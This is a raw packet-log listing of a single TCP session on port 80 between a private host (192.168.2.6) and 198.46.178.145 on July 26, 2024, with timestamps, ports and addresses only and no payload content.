Jul 26, 2024 11:27:11.475590944 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.475680113 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.475701094 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.475737095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.475753069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.475761890 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.475769043 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.475778103 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.475816965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.476244926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.476263046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.476279020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.476294041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.476296902 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.476313114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.476319075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.476337910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.476509094 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.485167980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485199928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485215902 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485230923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485245943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485260963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485275030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485276937 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.485289097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485304117 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485315084 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.485318899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485333920 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485336065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.485347986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485363960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485368967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.485378981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485394001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485411882 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.485505104 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.485584974 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485599995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485615969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485627890 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.485630035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485645056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485661030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485670090 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.485675097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485690117 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.485711098 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.485743999 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.486315012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.486330032 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.486344099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.486360073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.486360073 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.486375093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.486386061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.486388922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.486403942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.486418962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.486423969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.486433029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.486447096 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.486448050 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.486496925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.486496925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.487174988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487190008 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487204075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487220049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487225056 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.487235069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487243891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.487250090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487263918 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487279892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487286091 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.487293005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487307072 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.487307072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487322092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487349987 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.487556934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.487922907 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487937927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487952948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487967968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487979889 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.487981081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487997055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.487999916 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.488010883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.488025904 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.488039970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.488046885 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.488054991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.488071918 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.488097906 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.488933086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.488949060 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.488964081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.488977909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.488987923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.488991976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.489007950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.489011049 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.489022017 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.489038944 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.489059925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.489101887 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.492959976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.493031979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.493040085 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.493046999 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.493129015 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.493227005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.493248940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.493275881 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.493275881 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.493346930 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.493397951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.493416071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.493452072 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.493479967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.545216084 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.545236111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.545253992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.545375109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.545408964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.545433044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.545497894 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.545665979 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.545744896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.545778990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.545814991 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.545875072 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.546310902 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.546344995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.546364069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.546377897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.546395063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.546412945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.546469927 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.546706915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.546741962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.546788931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.546824932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.546843052 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.546854973 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.546889067 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.546890020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.546922922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.546941042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.546957016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.547127962 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.547725916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.547759056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.547777891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.547791958 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.547811031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.547825098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.547873020 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.548017025 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.563568115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.563667059 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.563709021 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.563744068 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.563767910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.563791990 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.563841105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.563874960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.563906908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.563920975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.563935041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.563985109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564018011 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.564034939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564039946 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.564069033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564085960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.564102888 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564119101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.564136028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564160109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.564169884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564197063 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.564203024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564223051 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.564234972 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564249992 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.564282894 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.564734936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564769030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564791918 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.564800978 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564819098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564835072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564851046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564884901 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564902067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.564980984 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565026045 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565128088 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565160990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565182924 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565193892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565222979 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565242052 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565244913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565275908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565289021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565309048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565320969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565342903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565354109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565392971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565419912 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565463066 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565709114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565743923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565767050 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565778017 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565804005 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565810919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565835953 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565845013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565855026 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565880060 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565895081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565912962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565938950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.565948009 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.565975904 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.566018105 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.566641092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.566674948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.566703081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.566706896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.566735029 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.566740036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.566767931 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.566773891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.566795111 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.566806078 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.566817999 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.566838980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.566850901 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.566912889 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.567568064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.567600965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.567624092 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.567634106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.567652941 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.567667007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.567672968 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.567698956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.567713976 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.567749977 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.567760944 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.567794085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.567819118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.567828894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.567837954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.567848921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.567873955 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.567908049 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.568792105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.568855047 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.568857908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.568888903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.568905115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.568921089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.568937063 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.568954945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.568975925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.568988085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.569000959 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.569021940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.569035053 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.569103003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.573796988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.573867083 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574014902 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574068069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574099064 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574101925 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574127913 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574135065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574162006 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574168921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574191093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574201107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574223995 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574234962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574259996 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574280977 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574280977 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574314117 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574328899 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574347973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574369907 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574384928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574407101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574492931 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574588060 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574621916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.574649096 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.574749947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.584491968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.584580898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.584584951 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.584597111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.584624052 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.584811926 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.584830046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.584845066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.584861040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.584875107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.584882975 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.585009098 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.629728079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.629801989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.629827976 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.629852057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.629877090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.629911900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.629931927 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.629946947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.629972935 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.629982948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.629992962 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.629997015 CEST	80	49741	198.46.178.145	192.168.2.6
